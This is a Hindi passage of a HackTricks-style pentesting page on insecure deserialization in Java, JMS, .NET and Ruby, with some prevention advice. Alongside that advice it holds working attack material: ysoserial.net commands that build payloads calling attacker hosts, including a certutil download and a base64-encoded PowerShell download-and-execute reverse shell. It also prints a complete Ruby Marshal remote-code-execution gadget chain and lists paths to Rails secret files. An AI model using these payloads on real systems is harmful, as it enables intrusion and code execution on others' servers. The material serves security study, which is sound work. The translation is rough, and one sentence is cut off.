डिसीरियलाइज़ किए जाने वाले क्लास की जांच करें उससे पहले

java.io.ObjectInputStream क्लास का उपयोग ऑब्जेक्ट को डिसीरियलाइज़ करने के लिए किया जाता है। इसे सख्त बनाना संभव है उसके व्यवहार को subclass करके। यह सबसे अच्छा समाधान है अगर:

  • आप उस कोड को बदल सकते हैं जो डिसीरियलाइज़ करता है
  • आप जानते हैं कि आप किन क्लासेज़ को डिसीरियलाइज़ करने की उम्मीद कर रहे हैं

सामान्य विचार यह है कि ObjectInputStream.html#resolveClass() को ओवरराइड करें ताकि केवल वे क्लासेज़ डिसीरियलाइज़ करने की अनुमति हो जिन्हें आप अनुमति देना चाहते हैं।

इस कॉल के कारण, जब तक यह टाइप वह है जिसे आप अनुमति देना चाहते हैं, आप यकीन कर सकते हैं कि कोई डिसीरियलाइज़ क्रिया नहीं होगी।

यहां एक सरल उदाहरण दिया गया है, जहां LookAheadObjectInputStream क्लास को गारंटी है कि वह Bicycle क्लास के अलावा कोई अन्य टाइप डिसीरियलाइज़ नहीं करेगा:

public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

एक एजेंट के साथ सभी java.io.ObjectInputStream उपयोग को मजबूत करें

यदि आपके पास कोड नहीं है या आप पैच का इंतजार नहीं कर सकते हैं, तो java.io.ObjectInputStream में मजबूती को वोवेव करने के लिए एक एजेंट का उपयोग करना सबसे अच्छा समाधान है। इस तरीके का उपयोग करके आप केवल ज्ञात खतरनाक प्रकारों को ब्लैकलिस्ट कर सकते हैं और उन्हें व्हाइटलिस्ट नहीं कर सकते हैं क्योंकि आपको नहीं पता होता कि कौन से ऑब्जेक्ट सीरियलाइज किए जा रहे हैं।

इन एजेंट्स को सक्षम करने के लिए, बस एक नया JVM पैरामीटर जोड़ें:

-javaagent:name-of-agent.jar

उदाहरण: rO0 by Contrast Security

संदर्भ

JNDI Injection और log4Shell

जानें कि JNDI Injection क्या है, इसे RMI, CORBA और LDAP के माध्यम से कैसे दुरुपयोग किया जाता है और log4shell को कैसे शोषित किया जाता है (और इस दुरुपयोग के उदाहरण) निम्नलिखित पृष्ठ पर:

{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %} jndi-java-naming-and-directory-interface-and-log4shell.md {% endcontent-ref %}

JMS - जावा संदेश सेवा

जावा संदेश सेवा (JMS) एपीआई दो या अधिक क्लाइंटों के बीच संदेश भेजने के लिए एक जावा संदेश-अभिन्यासी मध्यवर्ती एपीआई है। यह उत्पादक-उपभोक्ता समस्या को हैंडल करने के लिए एक कार्यान्वयन है। JMS जावा प्लेटफॉर्म, एंटरप्राइज़ एडिशन (जावा ईई) का हिस्सा है और यह सूर्य माइक्रोसिस्टम्स द्वारा विकसित एक विनिर्देशिका द्वारा परिभाषित किया गया था, लेकिन जिसे बाद में जावा समुदाय प्रक्रिया द्वारा मार्गदर्शित किया गया है। यह एक संदेश मानक है जो जावा ईई पर आधारित अनुप्रयोग घटकों को संदेश बनाने, भेजने, प्राप्त करने और पढ़ने की अनुमति देता है। इसकी सहायता से वितरित एक अनुप्रयोग के विभिन्न घटकों के बीच संचार को ढीला, विश्वसनीय और असिंक्रोनस बनाने की अनुमति होती है। (विकिपीडिया से)।

उत्पाद

संदेश भेजने के लिए इस मध्यवर्ती का उपयोग करने वाले कई उत्पाद हैं:

शोषण

इसलिए, मूल रूप से एक संदेश पर JMS का उपयोग करने वाली कई सेवाएं हैं। इसलिए, यदि आपके पास इन सेवाओं को संदेश भेजने के लिए पर्याप्त अधिकार हैं (आमतौर पर आपको मान्य प्रमाणपत्र की आवश्यकता होगी), तो आप दुरुपयोग करने के लिए बनाए गए ज्ञात गैजेट्स का उपयोग करके संदेश भेज सकते हैं। ये दुरुपयोग सभी ग्राहकों को संक्रमित करेंगे जो उस संदेश का उपयोग करेंगे

आपको याद रखना चाहिए कि यदि एक सेवा संकटग्रस्त है (क्योंकि यह उपयोगकर्ता इनपुट को असुरक्षित ढंग से डेसीरियलाइज़ कर रही है), तो आपको फिर भी मान्य गैजेट्स का पता लगाने की आवश्यकता होगी दुरुपयोग को शोषित करने के लिए।

टूल JMET को बनाया गया था ताकि इस सेवा को कनेक्ट करें और ज्ञात गैजेट्स का उपयोग

फिंगरप्रिंट

WhiteBox

निम्नलिखित शब्दों के लिए स्रोत कोड खोजें:

  1. TypeNameHandling
  2. JavaScriptTypeResolver

उपयोगकर्ता नियंत्रित चर के द्वारा सेट किए जाने वाले किसी भी सीरियलाइजर की खोज करें।

BlackBox

आप बेस64 कोडित स्ट्रिंग AAEAAAD///// या किसी अन्य चीज की खोज कर सकते हैं जो पीछे की ओर से डिसीरियलाइज किया जा सकता है और जिसमें आपको डिसीरियलाइज किए जाने वाले प्रकार को नियंत्रित करने की अनुमति होती है। उदाहरण के लिए, एक JSON या XML में TypeObject या $type हो सकता है।

ysoserial.net

इस मामले में आप उपकरण ysoserial.net का उपयोग कर सकते हैं ताकि आप डिसीरियलाइज़ेशन उत्पादों को बना सकें। जब आपने git रिपॉजिटरी डाउनलोड कर ली हो तो आपको उपकरण को कंपाइल करना चाहिए, उदाहरण के लिए Visual Studio का उपयोग करें।

यदि आप जानना चाहते हैं कि ysoserial.net अपने उत्पाद को कैसे बनाता है, तो आप इस पृष्ठ की जांच कर सकते हैं जहां विस्तारित व्रैपर + Json.Net फॉर्मेटर के साथ ObjectDataProvider गैजेट का व्याख्यान किया गया है

ysoserial.net के मुख्य विकल्प हैं: --gadget, --formatter, **--output ** और --plugin.

  • --gadget इस्तेमाल किया जाता है ताकि आप उपयोग करने वाले गैजेट को दुरुपयोग कर सकें (डिसीरियलाइज़ेशन के दौरान आदेश निष्पादित करने के लिए कक्षा/कार्य निर्दिष्ट करें)।
  • --formatter, इस्तेमाल किया जाता है ताकि आप उत्पाद को सीरियलाइज़ करने के लिए उपयोग किए जाने वाली विधि को निर्दिष्ट करें (आपको यह जानना होगा कि पीछे की ओर से उत्पाद को डिसीरियलाइज़ करने के लिए कौन सी पुस्तकालय का उपयोग किया जा रहा है और उसी का उपयोग करें)
  • **--output ** इस्तेमाल किया जाता है ताकि आप चाहें तो उत्पाद को सीधा या बेस64 कोडित रूप में प्राप्त कर सकें। ध्यान दें कि ysoserial.net पेलोड को UTF-16LE का उपयोग करके कोडित करेगा (जो विंडोज पर डिफ़ॉल्ट रूप से उपयोग होने वाली कोडिंग है) इसलिए यदि आप रॉ डेटा प्राप्त करते हैं और उसे लिनक्स कंसोल से कोडित करते हैं तो आपको कुछ कोडिंग संगतता समस्याएं हो सकती हैं जो उत्पाद को सही ढंग से काम करने से रोकेंगी (HTB JSON बॉक्स में पेलोड UTF-16LE और ASCII दोनों में काम कर गया था लेकिन यह यह नहीं मतलब है कि यह हमेशा काम करेगा)।
  • **--plugin ** ysoserial.net विशेष फ्रेमवर्क के लिए उत्पादों को तैयार करने के लिए एक्सप्लॉइट का निर्माण करने के लिए प्लगइन्स का समर्थन करता है।

अधिक ysoserial.net पैरामीटर

  • --minify एक छोटा पेलोड प्रदान करेगा (यदि संभव हो)
  • --raf -f Json.Net -c "anything" इससे उन सभी गैजेट को निर्दिष्ट किया जाएगा जो दिए गए फॉर्मेटर (Json.Net इस मामले में) के साथ उपयोग किए जा सकते हैं
  • --sf xml आप एक गैजेट (-g) को निर्दिष्ट कर सकते हैं और ysoserial.net वहां "xml" शब्द सम्मिलित करने वाले फॉर्मेटर खोजेगा (अवधिक नहीं करने वाला)

ysoserial उदाहरण एक्सप्लॉइट बनाने के लिए:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net में एक बहुत दिलचस्प पैरामीटर भी है जो हर एक एक्सप्लॉइट के काम करने को बेहतर समझने में मदद करता है: --test
यदि आप इस पैरामीटर को इंडिकेट करते हैं, तो ysoserial.net लोकली एक्सप्लॉइट की कोशिश करेगा, इसलिए आप यह जांच सकते हैं कि आपका पेलोड सही ढंग से काम करेगा या नहीं।
यह पैरामीटर मददगार है क्योंकि यदि आप कोड की समीक्षा करते हैं, तो आप निम्नलिखित जैसे कोड टुकड़ों को पाएंगे (यहां से: ObjectDataProviderGenerator.cs):

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

इसका मतलब है कि एक्सप्लॉइट की परीक्षण के लिए कोड serializersHelper.JsonNet_deserialize को कॉल करेगा।

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

यदि आपको किसी .Net एप्लिकेशन में कुछ ऐसा मिलता है तो इसका मतलब है कि शायद वह एप्लिकेशन भी संकटग्रस्त है।
इसलिए --test पैरामीटर हमें समझने में मदद करता है कि कौन से कोड चंक असुरक्षित हैं, जिन्हें ysoserial.net बना सकता है।

ViewState

इस पोस्ट को देखें जो .Net के __ViewState पैरामीटर को अपनाने का प्रयास करती है ताकि विचारशील कोड को निष्पादित करें। यदि आप पहले से ही पीड़ित मशीन द्वारा उपयोग किए जाने वाले रहस्य को जानते हैं, तो इस पोस्ट को पढ़ें ताकि कोड को निष्पादित करने के बारे में जानें

रोकथाम

डेटास्ट्रीम को नहीं दें कि स्ट्रीम को किस प्रकार के ऑब्जेक्ट में डेसीरियलाइज किया जाएगा। आप इसे रोक सकते हैं उदाहरण के लिए DataContractSerializer या XmlSerializer का उपयोग करके।

जहां JSON.Net का उपयोग हो रहा हो, सुनिश्चित करें कि TypeNameHandling केवल None पर सेट हो।

TypeNameHandling = TypeNameHandling.None

यदि JavaScriptSerializer का उपयोग किया जाना हो तो इसे JavaScriptTypeResolver के साथ न उपयोग करें।

यदि आपको डेटा स्ट्रीम को डिसीरियलाइज़ करना हो जो अपने खुद के टाइप को परिभाषित करती है, तो उन टाइप को सीमित करें जो डिसीरियलाइज़ किए जा सकते हैं। इसे अवश्य ध्यान दें कि यह फिर भी जोखिमपूर्ण है क्योंकि कई मूल .Net टाइप स्वतः में संभवतः खतरनाक हो सकते हैं। उदा.

System.IO.FileInfo

FileInfo ऑब्जेक्ट जो सर्वर पर वास्तविक फ़ाइलों का संदर्भ करते हैं, जब वे डीसीरियलाइज़ किए जाते हैं, तो उन फ़ाइलों की गुणवत्ता को बदल सकते हैं, जैसे कि केवल पढ़ने योग्य, जो एक पोटेंशियल डिनायल ऑफ सर्विस हमला बना सकता है।

यदि आपने डीसीरियलाइज़ करने के लिए सीमित टाइप किए हैं, तो भी ध्यान दें कि कुछ टाइप के रिस्की प्रॉपर्टीज़ हो सकती हैं। उदाहरण के लिए, System.ComponentModel.DataAnnotations.ValidationException एक Object टाइप की Value प्रॉपर्टी होती है। यदि इस टाइप को डीसीरियलाइज़ करने के लिए अनुमति दी गई है, तो हमलावर वापसी प्रॉपर्टी Value को किसी भी ऑब्जेक्ट टाइप पर सेट कर सकता है।

हमलावरों को टाइप को निर्देशित करने से रोका जाना चाहिए। यदि यह संभव है, तो डेटाकंट्रैक्टसीरियलाइज़र या एक्सएमलसीरियलाइज़र भी अवरुद्ध किए जा सकते हैं, उदाहरण के लिए।

// Action below is dangerous if the attacker can change the data in the database
var typename = GetTransactionTypeFromDatabase();

var serializer = new DataContractJsonSerializer(Type.GetType(typename));

var obj = serializer.ReadObject(ms);

निष्पादन डेसीरियलाइज़ेशन के दौरान कुछ .Net प्रकारों में हो सकता है। नीचे दिखाए गए तरह का नियंत्रण बनाना अप्रभावी है।

var suspectObject = myBinaryFormatter.Deserialize(untrustedData);

//Check below is too late! Execution may have already occurred.
if (suspectObject is SomeDangerousObjectType)
{
//generate warnings and dispose of suspectObject
}

BinaryFormatter और JSON.Net के लिए एक सुरक्षित व्हाइटलिस्ट नियंत्रण का निर्माण करने के लिए एक कस्टम SerializationBinder का उपयोग करके एक सुरक्षित रूप बनाना संभव है।

ज्ञात .Net असुरक्षित डिसीरियलाइज़ेशन गैजेट्स पर अद्यतित रहने का प्रयास करें और खास ध्यान दें जहां ऐसे प्रकार के टाइप आपके डिसीरियलाइज़ेशन प्रक्रियाओं द्वारा बनाए जा सकते हैं। एक डिसीरियलाइज़र केवल उन टाइप्स को निर्माण कर सकता है जिनके बारे में उसे पता होता है

किसी भी कोड को अलग रखने का प्रयास करें जो संभावित गैजेट्स को बना सकता है और जिसमें इंटरनेट कनेक्टिविटी हो सकती है। उदाहरण के रूप में, WPF ऐप्लिकेशन में उपयोग किए जाने वाले System.Windows.Data.ObjectDataProvider एक ज्ञात गैजेट है जो विचारहीन डेटा को डिसीरियलाइज़ करने वाले एक REST सेवा परियोजना में इस एसेंबली का संदर्भ रखना जोखिमपूर्ण होगा।

संदर्भ

रूबी

रूबी में सीरीयलाइज़ेशन को लागू करने के लिए मार्शल पुस्तकालय में दो विधियाँ हैं: पहली विधि है डंप जो ऑब्जेक्ट को बाइट स्ट्रीम में परिवर्तित करती है (सीरीयलाइज़ करती है)। और दूसरी विधि है लोड जो बाइट स्ट्रीम को फिर से ऑब्जेक्ट में परिवर्तित करती है (डिसीरियलाइज़ करती है)।
रूबी HMAC का उपयोग करता है ताकि सीरीयलाइज़ किए गए ऑब्जेक्ट को साइन करें और कुंजी को निम्नलिखित फ़ाइलों में सहेजें:

  • config/environment.rb
  • config/initializers/secret_token.rb
  • config/secrets.yml
  • /proc/self/environ

रूबी 2.X जेनेरिक डिसीरियलाइज़ेशन से RCE गैजेट चेन (अधिक जानकारी के लिए https://www.elttam.com/blog/ruby-deserialization/ देखें):

#!/usr/bin/env ruby

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Ruby On Rails को अनुशासित करने के लिए अन्य RCE चेन: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥